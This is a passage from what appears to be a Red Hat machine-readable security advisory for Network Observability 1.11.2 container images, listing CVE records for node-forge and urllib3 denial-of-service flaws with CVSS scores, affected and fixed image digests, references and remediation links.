"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"version": "3.1"
},
"products": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Moderate"
}
],
"title": "node-forge: node-forge ASN.1 Unbounded Recursion"
},
{
"cve": "CVE-2025-66418",
"cwe": {
"id": "CWE-770",
"name": "Allocation of Resources Without Limits or Throttling"
},
"discovery_date": "2025-12-05T17:01:20.277857+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2419455"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in urllib3 Python library that could lead to a Denial of Service condition. A remote, malicious server can exploit this flaw by responding to a client request with an HTTP message that uses an excessive number of chained compression algorithms. This unlimited decompression chain causes the client system to consume a virtually unbounded amount of CPU resources and memory. The high resource usage leads to service disruption, making the application unresponsive.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "urllib3: urllib3: Unbounded decompression chain leads to resource exhaustion",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64"
],
"known_not_affected": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2025-66418"
},
{
"category": "external",
"summary": "RHBZ#2419455",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2419455"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2025-66418",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-66418"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2025-66418",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66418"
},
{
"category": "external",
"summary": "https://github.com/urllib3/urllib3/commit/24d7b67eac89f94e11003424bcf0d8f7b72222a8",
"url": "https://github.com/urllib3/urllib3/commit/24d7b67eac89f94e11003424bcf0d8f7b72222a8"
},
{
"category": "external",
"summary": "https://github.com/urllib3/urllib3/security/advisories/GHSA-gm62-xv2j-4w53",
"url": "https://github.com/urllib3/urllib3/security/advisories/GHSA-gm62-xv2j-4w53"
}
],
"release_date": "2025-12-05T16:02:15.271000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-02-18T08:39:41+00:00",
"details": "For details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
"product_ids": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:2900"
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "urllib3: urllib3: Unbounded decompression chain leads to resource exhaustion"
},
{
"cve": "CVE-2025-66471",
"cwe": {
"id": "CWE-409",
"name": "Improper Handling of Highly Compressed Data (Data Amplification)"
},
"discovery_date": "2025-12-05T17:02:21.597728+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
